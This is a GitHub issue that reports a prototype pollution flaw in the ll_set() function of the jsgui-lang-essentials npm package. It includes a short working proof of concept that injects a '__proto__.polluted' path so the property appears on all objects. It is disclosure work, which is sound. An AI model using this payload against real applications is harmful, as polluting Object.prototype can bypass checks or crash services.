New issue

Jump to bottom

Prototype pollution in function jsgui-lang-essentials.ll_set() #1

Open **lelecolacola123** opened this issue on Dec 13, 2021 · 1 comment

lelecolacola123 commented on Dec 13, 2021

jsgui-lang-essentials runs the risk of prototype contamination when using inherited attributes in the function ll_set()
the risk locate is in here
https://github.com/lelecolacola123/jsgui-lang-essentials/blob/473b8daa94fda22a17d7d7bfe514f18e8d60e33e/jsgui-lang-essentials.js#L1418

lelecolacola123 commented on Dec 14, 2021 Author

the POC is as follow：

```
var jsgui=require('jsgui-lang-essentials');
var obj={};
console.log("start: " + obj.polluted); // undefined
jsgui.ll_set(obj,'__proto__.polluted',true);
console.log("end: " + obj.polluted); //true
```

the function ll_set in the file jsgui-lang-essentials.js in the line L1418 as:
var ll_set = function(obj, prop_name, prop_value) {}
three values are passed into this function ,and you didn't have the protection or identify whether the object maybe polluted,so if an attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

---

1 participant